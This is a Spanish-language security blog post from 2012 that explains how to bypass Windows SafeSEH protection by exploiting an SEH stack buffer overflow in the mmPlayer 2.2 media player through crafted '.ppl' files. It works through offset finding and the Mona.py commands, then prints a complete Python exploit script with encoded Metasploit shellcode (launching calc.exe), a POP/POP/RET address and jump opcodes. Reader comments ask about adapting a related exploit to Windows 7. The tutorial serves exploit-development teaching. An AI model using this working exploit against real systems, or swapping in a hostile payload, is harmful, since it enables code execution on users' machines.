domingo, 24 de junio de 2012

Bypass SafeSEH - (Exploit para mmPlayer 2.2)

Después de ver cómo era posible la ejecución de código en un Sistema Operativo Windows mediante la vulnerabilidad Stack Buffer Overflow, todo no iba a ser tan sencillo, y empezaron a aparecer protecciones que nos complican, en ocasiones bastante, la tarea de explotar una vulnerabilidad.

Structured Excetion Handling (SEH)

De una manera rápida, SEH es el mecanismo utilizado para manejar las excepciones provocadas por una aplicación en el sistema operativo Windows, o lo que seguro os sonará más, la implementación de las funciones try/catch en el código fuente.

La implementación de esta protección es muy sencilla, se trata de una estructura de “N” (número de excepciones a manejar) excepciones de las cuales cada una de ellas están formadas por dos punteros (Next_Handler y Handler).

De este modo, cuando una excepción sea manejada, la aplicación irá saltando de manejador en manejador hasta localizar el correcto, y en caso de no ser hallado, se aplicará la excepción por defecto localizada en el registro 0xFFFFFFFF.

image

SEH por si sola no conlleva ninguna protección, ya que si sobrescribimos el puntero “Handler_N()” con una dirección que apunte a nuestra ShellCode, de nuevo habremos conseguido ejecutar código.

SafeSEH

En Windows XP SP2 y Windows Server 2003 se añadió la protección de memoria SafeSEH, la cual impide en gran medida la ejecución de código a través de SEH. Si esta protección se encuentra habilitada en un módulo, únicamente es posible utilizar como manejadores las direcciones almacenadas anteriormente en una lista. De este modo, no es posible sobrescribir la posición donde se encuentra “Handler_N()” ya que posteriormente se verificara si existe en la tabla indicada.

Nota: Para hacer más real el ejemplo de evasión de la protección SafeSEH, se realizarán las pruebas con la aplicación mmPlayer en su versión 2.2, la cual sufre de una vulnerabilidad Stack Buffer Overflow a la hora de procesar los ficheros “.ppl”.

Enlace de descarga: [mmPlayer 2.2]
MD5 (exe): c07b16b62a459718886b57c8cb6905c4
SHA1 (exe): caff7aef83438475d985c1305ef070f26393ef62

Evadiendo SafeSEH

Debido a que SafeSEH se aplica módulo a módulo, es posible localizar aplicaciones que dispongan de dicha protección pero sus módulos enlazados no dispongan ella, por lo que, podríamos aprovecharnos de esta falta de seguridad para evadir la protección.

Nuestro objetivo podemos centrarlo en cuatro partes:

image

  1. Hacer que nuestro código sufra una excepción, para que éste se dirija al manejador de excepciones.
  2. Sobrescribir la dirección de nuestro Handler_1() por una de un módulo que no tenga habilitada la protección SafeSEH.
  3. Saltamos del módulo sin SafeSEH al Next_Handler() sobrescrito anteriormente por nosotros.
  4. Saltamos de la dirección sobrescrita del Next_Handler() a nuestra ShellCode.

1) Forzando la excepción

Para forzar la aplicación a que sufra una excepción, generamos un fichero con el formato “ppl” y el buffer que explote la vulnerabilidad.

# Buffer 
Buffer = "X" * 5000
NSEH = ""
SEH = ""

Si generamos el fichero y lo abrimos con la aplicación mmPlayer mientras la debuggeamos, podemos observar como se genera una excepción, y al visualizar la “SEH Chain” antes de pasar la excepción, obtendremos el siguiente resultado:

image

Si os fijáis hemos sobrescrito el “Handler()” con la cadena “58585858” que concuerda con el buffer de “X” (58 en hex) del exploit. Para obtener la posición de estas cadenas utilizaremos la herramienta pattern_create.rb de metasploit, sustituyendo el buffer por el generado por la herramienta.

image

Podemos observar como se ha modificado el valor por “31684630”, buscamos el offset mediante la herramienta pattern_offset.rb y nos devuelve la posición 4112, por lo que ya sabemos el byte exacto de la dirección del “Handler()”

2) Salto a nuestro módulo sin protección

Para realizar este paso, es necesario obtener un módulo enlazado en el binario que no disponga de la protección SafeSEH, para esto utilizaremos Mona.py (evolución de pvefindaddr.py).

Mona.py es un PyCommand para Immunity Debugger desarrollado por el equipo de Corelan, que facilita en gran medida la tarea de desarrollo de exploits.

Mona.py dispone del comando “!mona nosafeseh” que busca en los módulos enlazados del binario cual no dispone de la protección SafeSEH.

image

En la captura se puede observar como el propio ejecutable MMPlayer.exe no dispone de la protección SafeSEH, por lo que, no hace falta irse a ningún modulo enlazado, nos aprovechamos directamente de él.

Nota: En caso de que el propio binario tuviera habilitada la protección SafeSEH, tendríamos que buscar en sus librerías enlazadas.

3) Salto a nuestro Next_Handler()

Es importante saber que al manejar una excepción llamando a la función Exception_Handler_N(), ésta es construida pasándole cuatro parámetros, entre los cuales, en segunda posición, nos encontramos con el puntero Next_Handler_N(), que también disponemos de su control al poder sobrescribirlo.

Para esto modificamos el exploit y observamos que pasa en el código:

# Buffer 
Buffer = "X" * 4108
NSEH = "\x41" * 4
SEH = "\x42" * 4
PADDING = "\x90" * 100
# Payload
payload = Buffer + NSEH + SEH + PADDING

En la primera captura se puede observar como al llamar a la función Exception_Handler_N(), hemos pasado por parámetros el puntero del Next_Handler_N(), ambos controlados por nosotros.

image

Lo que se ha de hacer, es substituir la dirección Exception_Handler_N() por un conjunto de instrucciones POP/POP/RET del propio ejecutable que no dispone de la protección SafeSEH. De este modo, al procesar el conjunto de instrucciones, eliminara las dos primeras direcciones de la PILA y ejecutará mediante la instrucción RET la tercera, que casualmente es la dirección que Next_Handler_N() que podemos sobrescribir.

image

Par la búsqueda del conjunto de instrucciones POP/POP/RET, podemos utilizar Mona.py ejecutando el siguiente comando “!mona seh”, posteriormente visualizamos el fichero de log generado “seh.txt” situado en el directorio raíz de immunity debugger.

image

Con esto ya disponemos de una dirección para añadirla a nuestro exploit.

Nota: Lo ideal sería que la dirección escogida no disponga de ningún byte que permita finalizar cadenas, tales como “\x00”, “\x0a”, “\x0d”.

4) Salto a nuestra ShellCode

En un principio, lo que nos quedaría hacer es sustituir la dirección del Next_Handler_N() con el siguiente valor “0x909006eb”, el cual realiza un salto a dos posiciones por debajo suya, por lo que hubiéramos llegado al código de nuestra ShellCode y esta se ejecutaría.

El primer problema viene al tener que utilizar una dirección de POP/POP/RET que contiene el byte “\x00”, el cual hace que se termine la cadena y no podamos añadir nuestra ShellCode posteriormente. La única solución que nos queda es realizar un salto hacia atrás.

El segundo problema viene al solo disponer de 4 bytes (dirección Next_Handler_N()) para realizar el salto negativo, los cuales únicamente nos permiten realizar un salto de -128, por lo que, va a ser necesario realizar un salto doble, el primer salto a una posición anterior el cual contenga la instrucción para realizar un salto mayor ya con 5 bytes, y el segundo directo a la ShellCode.

Por lo que nuestro exploit cambiaría un poco:

image

Para hacer un salto negativo a la instrucción anterior (paso 4) únicamente necesitaremos substituir la dirección del Next_Handler_N() por el valor “0x9090F9EB”, quedando el código del exploit del siguiente modo.

 
...
# SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)
...

5) Salto negativo de 5 bytes a nuestra ShellCode

Por último, solo nos queda realizar un salto negativo al inicio de nuestro buffer, para realizar este tipo de saltos utilizaremos el opcode E9 que permite realizar saltos de 32bits.

...
#JUMP
BIG_JUMP = "\xE9\xF4\xEF\xFF\xFF" # BIG JUMP (5BYTES)
# SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)
...

Ahora solo nos queda reordenar los valores del exploit y añadir la ShellCode, dando como resultado el siguiente código:

'''
Title: mmPlayer 2.2 Stack Buffer Overflow (SEH)
Author: Daniel Romero Perez (@daniel_rome)
Tested on: Windows XP SP3 (ES) / Windows 7 SP1 (ES)
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/52698/info
'''

import os

# NOPS
NOPS = "\x90" * 50

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

#PADDING
PADDING = "\x90" * 3826

#JUMP
BIG_JUMP = "\xE9\xF4\xEF\xFF\xFF" # BIG JUMP (5BYTES)

#SAFESEH
NSEH_JUMP = "\xEB\xF9\x90\x90" # JUMP LAST INSTRUCTION
SEH = "\x3a\x22\x40\x00" # POP/POP/RET (mmplayer.exe)

# Payload
payload = NOPS + ShellCode + PADDING + BIG_JUMP + NSEH_JUMP + SEH

# Create File
file = open("exploit.ppl", "wb")
file.write(payload)
file.close()

print ("Your file has been generated successfully!!")

Tenéis disponible el exploit en el siguiente enlace: [exploit_mmplayer_2-2.py]

Si ejecutamos la aplicación y abrimos el fichero generado… LISTO!! Tenemos nuestro exploit que evade SafeSEH y que nos consigue calculadora ;)

image

Podemos ver un ejemplo de lo que se está realizando en código en la siguiente captura.

image

Un Saludo!!

Referencias:

- http://grey-corner.blogspot.com.es/2010/01/seh-stack-based-windows-buffer-overflow.html
- https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-par

4 comentarios:

  1. Guau!! Está muy bien explicado, con capturas, esquemas, exploits, no se puede pedir mas!

    Enhorabuena, sigue publicando a este nivel!!

    ResponderEliminar
    Respuestas
    1. Muchas gracias señor Thor ;)

      Un saludo crack!!

      Eliminar
  2. Hola! Es impresionante lo bien que explicas las cosas. Porfavor sigue publicando más sobre programación de exploits. Tengo una pregunta:

    El exploit para MyMp3 Player 3.0 del articulo de abril "[Exploit] - MyMp3 Player 3.0 Stack Buffer Overflow" ¿se podria modificar para que funcionara en windows 7 añadiendole un Bypass SafeSEH?

    Gracias y ánimo

    ResponderEliminar
  3. @Anónimo me alegro que te guste la forma de explicar. Voy intentando publicar lo más pronto posible, pero siempre falta tiempo :(

    En relación a la pregunta, por lo que he visto, al ejecutar MyMp3 Player 3.0 en Windows 7 SP1 el propio binario dispone de la protección DEP No Permanente, pero no dispone de ASLR, por lo que únicamente sería necesario evadir SafeSEH como se está haciendo en ésta entrada y evadir DEP No Permanente tal y como se explica en la entrada: http://unlearningsecurity.blogspot.com.es/2012/07/bypass-dep-no-permanente-con.html

    Un Saludo!!

    ResponderEliminar